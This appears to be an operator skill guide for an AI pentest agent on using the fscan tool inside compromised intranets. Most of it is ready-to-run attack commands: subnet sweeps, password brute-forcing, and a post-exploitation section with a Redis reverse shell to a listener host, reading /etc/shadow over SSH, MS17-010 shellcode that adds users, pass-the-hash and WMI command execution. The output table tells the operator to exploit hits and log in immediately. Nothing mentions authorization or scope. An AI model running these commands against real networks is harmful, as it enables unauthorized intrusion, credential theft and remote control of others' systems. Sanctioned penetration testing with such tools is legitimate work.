fscan-scan

fscan comprehensive intranet scanning

fscan integrates several of the most commonly used actions in intranet penetration—liveness detection, port scanning, service identification, weak password brute-forcing, vulnerability POCs, and even some exploitation—into a single dependency-free Go binary. Once uploaded to an intranet machine, it can run without installing nmap or Python.

Important: In post-exploitation scenarios, fscan should be uploaded to the target machine and executed there as much as possible, rather than run locally through a proxy tunnel—SOCKS5 does not support ICMP, so liveness detection will fail; and a large amount of scanning traffic through a tunnel is slow and unstable. How to deliver tools to the target → load the tool-delivery skill.

Project address:https://github.com/shadow1ng/fscan

Why prioritize fscan for intranet scanning

Dimension	fscan	nmap
Deployment	Single binary, scp it up and use it directly	Requires installation, usually not available on intranet machines
Speed	600 threads concurrent by default, /24 completes in seconds	Single-threaded by default, slow
Weak passwords	Built-in brute-forcing for SSH/SMB/RDP/MySQL/MSSQL/Redis/PostgreSQL/Oracle/FTP/MongoDB	Not supported
POC	Built-in MS17-010/Redis unauthorized/WebLogic/Struts2 etc., compatible with xray POCs	Requires NSE scripts
Exploitation	Redis public key writing, SSH command execution, MS17-010 ShellCode	Not supported
Domain controller identification	NetBIOS detection + DC identification	Requires additional scripts
Web fingerprinting	Automatically identifies CMS/OA frameworks (Seeyon, Weaver, Tongda, etc.)	Not supported

nmap's advantage lies in precise service version identification (-sV) and the NSE script ecosystem. Recommended workflow:fscan quickly scans the entire network segment → nmap performs deep probing on high-value targets。

Phase 1: Basic scanning

# 最常用：全功能扫描（存活+端口+弱口令+POC 一起跑）
fscan -h 10.0.0.0/24

# 快速模式（只做存活+端口，跳过 Web POC）
fscan -h 10.0.0.0/24 -nopoc

# 静默扫描（减少输出噪音）
fscan -h 10.0.0.0/24 -nopoc -nobr

# 从文件读取目标
fscan -hf targets.txt

# 排除特定主机
fscan -h 10.0.0.0/24 -hn 10.0.0.1,10.0.0.254

-nopoc Skip Web vulnerability POCs,-nobr skip weak password brute-forcing—the two are controlled independently. If you skip everything, only liveness + port scanning remain, which is fastest but yields the least information.

Phase 2: Port and module control

# 指定端口
fscan -h 10.0.0.0/24 -p 22,80,445,3389,6379

# 在默认端口列表上追加端口（不覆盖默认的）
fscan -h 10.0.0.0/24 -pa 3389,5985

# 排除某些端口
fscan -h 10.0.0.0/24 -pn 445

# 全端口
fscan -h 10.0.0.0/24 -p 1-65535

# 只跑某个模块（不做全量扫描）
fscan -h 10.0.0.0/24 -m ssh          # 只做 SSH 爆破
fscan -h 10.0.0.0/24 -m ms17010      # 只做永恒之蓝检测
fscan -h 10.0.0.0/24 -m netbios      # 只做 NetBIOS 探测（域控识别）
fscan -h 10.0.0.0/24 -m icmp         # 只做存活探测（大网段用）
fscan -h 10.0.0.0/24 -m webonly      # 跳过端口扫描，直接探测 Web

Default port list:21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017

-m 's value lies in precise control—when a full scan is too slow, specify modules to do only what you care about.

Phase 3: Weak password brute-forcing

This is fscan's biggest differentiating value compared with nmap. The default scan already includes weak password detection (built-in dictionary), but you can also customize it:

# 自定义用户名和密码（逗号分隔）
fscan -h 10.0.0.0/24 -user admin,root,sa -pwd 'admin,123456,P@ssw0rd'

# 在默认字典基础上追加（不覆盖内置的）
fscan -h 10.0.0.0/24 -usera DBA -pwda 'Str0ngPwd!'

# 从文件加载
fscan -h 10.0.0.0/24 -userf /tmp/users.txt -pwdf /tmp/passwords.txt

# 爆破线程（默认 1，增大可加速但更容易被检测）
fscan -h 10.0.0.0/24 -br 5

# 域用户爆破（SMB）
fscan -h 10.0.0.0/24 -m smb -domain CORP

Supported brute-force protocols:

Protocol	Default port	Description
SSH	22	Linux remote access
SMB	445	Windows file sharing, Pass-the-Hash
RDP	3389	Windows remote desktop
MySQL	3306	Database
MSSQL	1433	Database (sa weak passwords are highly frequent)
PostgreSQL	5432	Database
Oracle	1521	Database
Redis	6379	No authentication = direct exploitation
FTP	21	File transfer
MongoDB	27017	No authentication = data breach
Memcached	11211	No authentication

Phase 4: Vulnerability POC and Web Fingerprinting

# 默认扫描自带 POC（MS17-010, Redis 未授权, WebLogic, Struts2 等）
fscan -h 10.0.0.0/24

# 只跑特定名称的 POC
fscan -h 10.0.0.0/24 -pocname weblogic
fscan -h 10.0.0.0/24 -pocname shiro

# 完整 POC 扫描（如 shiro 检测 100 个 key 而非默认 10 个）
fscan -h 10.0.0.0/24 -full

# 加载外部 xray 格式 POC
fscan -h 10.0.0.0/24 -pocpath /tmp/my_pocs/

# 通过 HTTP 代理转发 POC 流量（配合 Burp 审计）
fscan -h 10.0.0.0/24 -proxy http://127.0.0.1:8080

Web fingerprinting is automatic—fscan will identify common CMSs (WordPress/Drupal) and domestic OA systems (Seeyon/Weaver/Tongda/Yonyou), and will label them in the output.

Phase 5: Post-Exploitation Features

fscan is not just a scanner; it can also directly perform some exploitation operations. This is very useful in internal network penetration—after finding a weakness, exploit it immediately without switching tools:

# Redis 写 SSH 公钥（无认证 Redis → SSH 登录）
fscan -h 10.0.0.30 -rf ~/.ssh/id_rsa.pub

# Redis 计划任务反弹 shell
fscan -h 10.0.0.30 -rs 10.0.0.5:4444

# SSH 批量执行命令（扫到弱口令后直接用）
fscan -h 10.0.0.0/24 -c "cat /etc/shadow"

# SSH 使用私钥连接
fscan -h 10.0.0.10 -m ssh -sshkey /tmp/id_rsa

# MS17-010 利用（内置 ShellCode，如添加用户）
fscan -h 10.0.0.10 -m ms17010 -sc add

# SMB Hash 碰撞（Pass-the-Hash）
fscan -h 10.0.0.0/24 -m smb2 -user administrator -hash aad3b435b51404eeaad3b435b51404ee:xxxxx

# WMI 无回显命令执行
fscan -h 10.0.0.10 -m wmiexec -user admin -pwd password -c "whoami"

Phase 6: Network and Performance Tuning

# 不做 ICMP 存活探测（防火墙禁 ping 时用）
fscan -h 10.0.0.0/24 -np

# 用 ping 代替 ICMP 包（某些环境 raw socket 受限）
fscan -h 10.0.0.0/24 -ping

# 调整并发线程（默认 600，大网段可调高）
fscan -h 10.0.0.0/16 -t 2000

# 调整超时（默认 3 秒，网络差时调高）
fscan -h 10.0.0.0/24 -time 5

# Web 超时（默认 5 秒）
fscan -h 10.0.0.0/24 -wt 10

# SOCKS5 代理（多层网络，通过代理扫内层）
fscan -h 172.16.0.0/24 -socks5 127.0.0.1:1080

# 输出到文件（默认 result.txt）
fscan -h 10.0.0.0/24 -o /tmp/fscan_result.txt

# 不保存文件
fscan -h 10.0.0.0/24 -no

# 大网段快速摸底（扫 /8 时自动采样每个 C 段网关+随机 IP）
fscan -h 192.0.0.0/8 -m icmp

Output Interpretation

fscan automatically categorizes output; pay attention to these key markers:

Marker	Meaning	Action
[+] MS17-010	EternalBlue	🔴 Immediately exploit with msf or fscan -sc add
[+] DC	Domain Controller	🔴 Highest-value target, record IP
[+] Redis unauthorized	Redis no authentication	🔴 fscan -rf write public key or -rs reverse shell
[+] weak password	Weak password hit	🔴 Log in immediately
[+] unauthorized	Any unauthenticated service	🔴 Exploit immediately
[+] poc / [+] vuln	Vulnerability hit	🟡 Exploit after verification
[*] WebTitle	Web title + fingerprint	🟢 Identify CMS/OA type
[*] NetBios	NetBIOS information	🟢 Hostname, domain name, OS version
open	Port open	🟢 Record, analyze later

Practical Scenario Quick Reference

Gain an internal network foothold, quickly assess

ip addr | grep inet          # 确认当前网段
fscan -h 10.0.1.0/24 -o /tmp/result.txt  # 一把梭
cat /tmp/result.txt          # 查看所有发现

Targeted weak passwords (using collected credentials)

fscan -h 10.0.0.0/24 -p 22,3389,445 \
  -user admin,administrator,root -pwd 'P@ssw0rd,Admin@123'

Domain controller identification

fscan -h 10.0.0.0/24 -m netbios    # [+]DC 标记就是域控

Cross-subnet scanning

fscan -h 172.16.0.0/24 -socks5 127.0.0.1:1080